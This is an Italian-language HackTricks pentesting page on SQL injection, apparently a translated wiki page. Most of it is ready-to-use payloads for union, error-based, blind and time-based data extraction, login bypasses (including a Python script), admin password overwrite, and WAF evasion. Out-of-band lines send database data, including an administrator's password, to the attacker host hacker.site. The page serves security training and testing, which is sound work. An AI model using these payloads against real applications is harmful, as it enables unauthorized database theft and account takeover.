hacktricks/pentesting-web/sql-injection
2024-09-23 23:31:38 +00:00
..
mysql-injection Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:27 +00:00
postgresql-injection Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat 2024-09-23 23:31:38 +00:00
sqlmap Translated ['pentesting-web/sql-injection/README.md', 'pentesting-web/sq 2024-09-08 10:52:10 +00:00
cypher-injection-neo4j.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:40 +00:00
ms-access-sql-injection.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:27 +00:00
mssql-injection.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:27 +00:00
oracle-injection.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:27 +00:00
README.md Translated ['pentesting-web/sql-injection/README.md', 'pentesting-web/sq 2024-09-08 10:52:10 +00:00
sqlmap.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:27 +00:00

SQL Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

RootedCON è l'evento di cybersecurity più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.

{% embed url="https://www.rootedcon.com/" %}

Che cos'è l'iniezione SQL?

Un'iniezione SQL è una vulnerabilità di sicurezza che consente agli attaccanti di interferire con le query del database di un'applicazione. Questa vulnerabilità può consentire agli attaccanti di visualizzare, modificare o eliminare dati a cui non dovrebbero avere accesso, inclusi informazioni di altri utenti o qualsiasi dato a cui l'applicazione può accedere. Tali azioni possono comportare modifiche permanenti alla funzionalità o al contenuto dell'applicazione o addirittura compromettere il server o causare un'interruzione del servizio.

Rilevamento dei punti di ingresso

Quando un sito appare vulnerabile all'iniezione SQL (SQLi) a causa di risposte insolite del server a input correlati all'SQLi, il primo passo è comprendere come iniettare dati nella query senza interromperla. Questo richiede di identificare il metodo per uscire dal contesto attuale in modo efficace. Questi sono alcuni esempi utili:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Poi, devi sapere come correggere la query in modo che non ci siano errori. Per correggere la query puoi inserire dati in modo che la query precedente accetti i nuovi dati, oppure puoi semplicemente inserire i tuoi dati e aggiungere un simbolo di commento alla fine.

Nota che se puoi vedere messaggi di errore o puoi notare differenze quando una query funziona e quando non funziona, questa fase sarà più facile.

Commenti

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Conferma con operazioni logiche

Un metodo affidabile per confermare una vulnerabilità di SQL injection implica l'esecuzione di un operazione logica e l'osservazione dei risultati attesi. Ad esempio, un parametro GET come ?username=Peter che produce contenuti identici quando modificato in ?username=Peter' o '1'='1 indica una vulnerabilità di SQL injection.

Allo stesso modo, l'applicazione di operazioni matematiche funge da tecnica di conferma efficace. Ad esempio, se l'accesso a ?id=1 e ?id=2-1 produce lo stesso risultato, è indicativo di SQL injection.

Esempi che dimostrano la conferma dell'operazione logica:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Questa lista di parole è stata creata per cercare di confermare le SQLinjections nel modo proposto:

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

Confermare con il Timing

In alcuni casi non noterai alcuna modifica nella pagina che stai testando. Pertanto, un buon modo per scoprire le SQL injection cieche è far eseguire azioni al DB che avranno un impatto sul tempo necessario per caricare la pagina.
Pertanto, andremo a concatenare nella query SQL un'operazione che richiederà molto tempo per completarsi:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

In alcuni casi, le funzioni sleep non saranno consentite. Quindi, invece di utilizzare quelle funzioni, potresti far sì che la query esegua operazioni complesse che richiederanno diversi secondi. Esempi di queste tecniche saranno commentati separatamente su ciascuna tecnologia (se presenti).

Identificazione del Back-end

Il modo migliore per identificare il back-end è provare a eseguire funzioni dei diversi back-end. Potresti utilizzare le funzioni sleep della sezione precedente o queste (tabella da payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Anche se hai accesso all'output della query, potresti farlo stampare la versione del database.

{% hint style="info" %} In seguito discuteremo diversi metodi per sfruttare diversi tipi di SQL Injection. Useremo MySQL come esempio. {% endhint %}

Identificazione con PortSwigger

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

Sfruttamento basato su Union

Rilevamento del numero di colonne

Se puoi vedere l'output della query, questo è il modo migliore per sfruttarlo.
Prima di tutto, dobbiamo scoprire il numero di colonne che la richiesta iniziale sta restituendo. Questo perché entrambe le query devono restituire lo stesso numero di colonne.
Due metodi sono tipicamente utilizzati per questo scopo:

Order/Group by

Per determinare il numero di colonne in una query, regola progressivamente il numero utilizzato nelle clausole ORDER BY o GROUP BY fino a ricevere una risposta falsa. Nonostante le funzionalità distinte di GROUP BY e ORDER BY all'interno di SQL, entrambi possono essere utilizzati in modo identico per accertare il conteggio delle colonne della query.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Seleziona sempre più valori nulli fino a quando la query non è corretta:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Dovresti usare i valori null poiché in alcuni casi il tipo delle colonne di entrambi i lati della query deve essere lo stesso e null è valido in ogni caso.

Estrai nomi di database, nomi di tabelle e nomi di colonne

Negli esempi seguenti recupereremo il nome di tutti i database, il nome della tabella di un database, i nomi delle colonne della tabella:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

C'è un modo diverso per scoprire questi dati su ogni database diverso, ma la metodologia è sempre la stessa.

Sfruttare l'Iniezione Basata su Union Nascosta

Quando l'output di una query è visibile, ma un'iniezione basata su union sembra irraggiungibile, ciò significa che è presente un'iniezione basata su union nascosta. Questo scenario porta spesso a una situazione di iniezione cieca. Per trasformare un'iniezione cieca in una basata su union, è necessario discernere la query di esecuzione sul backend.

Questo può essere realizzato attraverso l'uso di tecniche di iniezione cieca insieme alle tabelle predefinite specifiche per il tuo Sistema di Gestione del Database (DBMS) target. Per comprendere queste tabelle predefinite, è consigliato consultare la documentazione del DBMS target.

Una volta estratta la query, è necessario adattare il tuo payload per chiudere in modo sicuro la query originale. Successivamente, una query union viene aggiunta al tuo payload, facilitando lo sfruttamento della nuova iniezione basata su union accessibile.

Per ulteriori approfondimenti, consulta l'articolo completo disponibile su Healing Blind Injections.

Sfruttare l'Iniezione Basata su Errori

Se per qualche motivo non puoi vedere l'output della query ma puoi vedere i messaggi di errore, puoi utilizzare questi messaggi di errore per ex-filtrare dati dal database.
Seguendo un flusso simile a quello dell'exploitation basata su Union, potresti riuscire a dumpare il DB.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Sfruttare il Blind SQLi

In questo caso non puoi vedere i risultati della query o gli errori, ma puoi distinguere quando la query restituisce una risposta vera o falsa perché ci sono contenuti diversi sulla pagina.
In questo caso, puoi abusare di quel comportamento per estrarre il database carattere per carattere:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Sfruttare l'Error Blind SQLi

Questo è il stesso caso di prima ma invece di distinguere tra una risposta vera/falsa dalla query puoi distinguere tra un errore nella query SQL o meno (forse perché il server HTTP si blocca). Pertanto, in questo caso puoi forzare un errore SQL ogni volta che indovini correttamente il carattere:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Sfruttare SQLi Basato sul Tempo

In questo caso non c'è alcun modo per distinguere la risposta della query in base al contesto della pagina. Ma, puoi far sì che la pagina impieghi più tempo a caricarsi se il carattere indovinato è corretto. Abbiamo già visto questa tecnica in uso prima per confermare una vulnerabilità SQLi.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Puoi utilizzare le stacked queries per eseguire più query in successione. Tieni presente che, mentre le query successive vengono eseguite, i risultati non vengono restituiti all'applicazione. Pertanto, questa tecnica è principalmente utile in relazione a vulnerabilità cieche in cui puoi utilizzare una seconda query per attivare una ricerca DNS, un errore condizionale o un ritardo temporale.

Oracle non supporta stacked queries. MySQL, Microsoft e PostgreSQL le supportano: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Se nessun altro metodo di sfruttamento ha funzionato, puoi provare a far sì che il database esfiltri le informazioni a un host esterno controllato da te. Ad esempio, tramite query DNS:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Esfiltrazione di dati out of band tramite XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Exploitazione automatizzata

Controlla il SQLMap Cheatsheet per sfruttare una vulnerabilità SQLi con sqlmap.

Informazioni specifiche sulla tecnologia

Abbiamo già discusso tutti i modi per sfruttare una vulnerabilità di SQL Injection. Trova alcuni altri trucchi dipendenti dalla tecnologia del database in questo libro:

Oppure troverai molti trucchi riguardanti: MySQL, PostgreSQL, Oracle, MSSQL, SQLite e HQL in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

RootedCON è l'evento di cybersecurity più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.

{% embed url="https://www.rootedcon.com/" %}

Bypass dell'autenticazione

Elenco da provare per bypassare la funzionalità di accesso:

{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

Bypass dell'autenticazione con hash raw

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Questa query mostra una vulnerabilità quando MD5 viene utilizzato con true per l'output raw nei controlli di autenticazione, rendendo il sistema suscettibile a SQL injection. Gli attaccanti possono sfruttare questo creando input che, quando hashati, producono parti di comandi SQL inaspettate, portando ad accessi non autorizzati.

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!

Bypass dell'autenticazione tramite hash iniettato

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Elenco raccomandato:

Dovresti usare come nome utente ogni riga dell'elenco e come password sempre: Pass1234.
(Questi payload sono anche inclusi nel grande elenco menzionato all'inizio di questa sezione)

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

Bypass dell'autenticazione GBK

SE ' viene scappato puoi usare %A8%27, e quando ' viene scappato verrà creato: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python script:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Iniezione poliglotta (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modifica la password di un oggetto/utente esistente

Per farlo dovresti provare a creare un nuovo oggetto chiamato come il "master object" (probabilmente admin nel caso degli utenti) modificando qualcosa:

  • Crea un utente chiamato: AdMIn (lettere maiuscole e minuscole)
  • Crea un utente chiamato: admin=
  • SQL Truncation Attack (quando c'è qualche tipo di limite di lunghezza nel nome utente o nell'email) --> Crea un utente con nome: admin [molti spazi] a

SQL Truncation Attack

Se il database è vulnerabile e il numero massimo di caratteri per il nome utente è ad esempio 30 e vuoi impersonare l'utente admin, prova a creare un nome utente chiamato: "admin [30 spazi] a" e qualsiasi password.

Il database verificherà se il nome utente introdotto esiste all'interno del database. Se non esiste, taglierà il nome utente al numero massimo di caratteri consentito (in questo caso a: "admin [25 spazi]") e poi rimuoverà automaticamente tutti gli spazi alla fine aggiornando all'interno del database l'utente "admin" con la nuova password (potrebbero apparire alcuni errori, ma non significa che non abbia funzionato).

Ulteriori informazioni: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: Questo attacco non funzionerà più come descritto sopra nelle ultime installazioni di MySQL. Anche se i confronti ignorano ancora gli spazi finali per impostazione predefinita, tentare di inserire una stringa più lunga della lunghezza di un campo comporterà un errore e l'inserimento fallirà. Per ulteriori informazioni su questo controllo: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

Controllo basato sul tempo di inserimento MySQL

Aggiungi quanti più ','','' ritieni necessari per uscire dalla dichiarazione VALUES. Se viene eseguito un ritardo, hai una SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

La clausola ON DUPLICATE KEY UPDATE in MySQL è utilizzata per specificare le azioni che il database deve intraprendere quando si tenta di inserire una riga che comporterebbe un valore duplicato in un indice UNIQUE o in una PRIMARY KEY. Il seguente esempio dimostra come questa funzionalità possa essere sfruttata per modificare la password di un account amministratore:

Esempio di Payload di Iniezione:

Un payload di iniezione potrebbe essere creato come segue, dove si tenta di inserire due righe nella tabella users. La prima riga è un'esca e la seconda riga mira all'email di un amministratore esistente con l'intenzione di aggiornare la password:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Ecco come funziona:

  • La query tenta di inserire due righe: una per generic_user@example.com e un'altra per admin_generic@example.com.
  • Se la riga per admin_generic@example.com esiste già, la clausola ON DUPLICATE KEY UPDATE si attiva, istruendo MySQL ad aggiornare il campo password della riga esistente a "bcrypt_hash_of_newpassword".
  • Di conseguenza, l'autenticazione può quindi essere tentata utilizzando admin_generic@example.com con la password corrispondente all'hash bcrypt ("bcrypt_hash_of_newpassword" rappresenta l'hash bcrypt della nuova password, che dovrebbe essere sostituito con l'hash effettivo della password desiderata).

Estrai informazioni

Creare 2 account contemporaneamente

Quando si tenta di creare un nuovo utente, sono necessari nome utente, password e email:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Utilizzando decimale o esadecimale

Con questa tecnica puoi estrarre informazioni creando solo 1 account. È importante notare che non è necessario commentare nulla.

Utilizzando hex2dec e substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Per ottenere il testo puoi usare:

__import__('binascii').unhexlify(hex(215573607263)[2:])

Utilizzando hex e replace (e substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

RootedCON è l'evento di cybersecurity più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.

{% embed url="https://www.rootedcon.com/" %}

Routed SQL injection

Routed SQL injection è una situazione in cui la query iniettabile non è quella che produce output, ma l'output della query iniettabile va alla query che produce output. (From Paper)

Esempio:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Bypass iniziali da qui

Bypass senza spazi

No Space (%20) - bypass utilizzando alternative agli spazi bianchi

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass using comments

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass using parenthesis

?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass utilizzando OFFSET, FROM e JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generic Bypasses

Blacklist usando parole chiave - bypass usando maiuscole/minuscole

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist usando parole chiave senza distinzione tra maiuscole e minuscole - bypass usando un operatore equivalente

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Bypass WAF con Notazione Scientifica

Puoi trovare una spiegazione più approfondita di questo trucco nel blog di gosecure.
Fondamentalmente puoi utilizzare la notazione scientifica in modi inaspettati per bypassare il WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Bypass Column Names Restriction

Prima di tutto, nota che se la query originale e la tabella da cui vuoi estrarre il flag hanno lo stesso numero di colonne puoi semplicemente fare: 0 UNION SELECT * FROM flag

È possibile accedere alla terza colonna di una tabella senza utilizzare il suo nome usando una query come la seguente: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, quindi in un sqlinjection questo apparirebbe come:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

O usando un comma bypass:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Questo trucco è stato preso da https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Strumenti suggeritori per bypassare WAF

{% embed url="https://github.com/m4ll0k/Atlas" %}

Altre Guide

Elenco di Rilevamento Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

RootedCON è l'evento di cybersecurity più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro fervente per professionisti della tecnologia e della cybersecurity in ogni disciplina.

{% embed url="https://www.rootedcon.com/" %}

{% hint style="success" %} Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}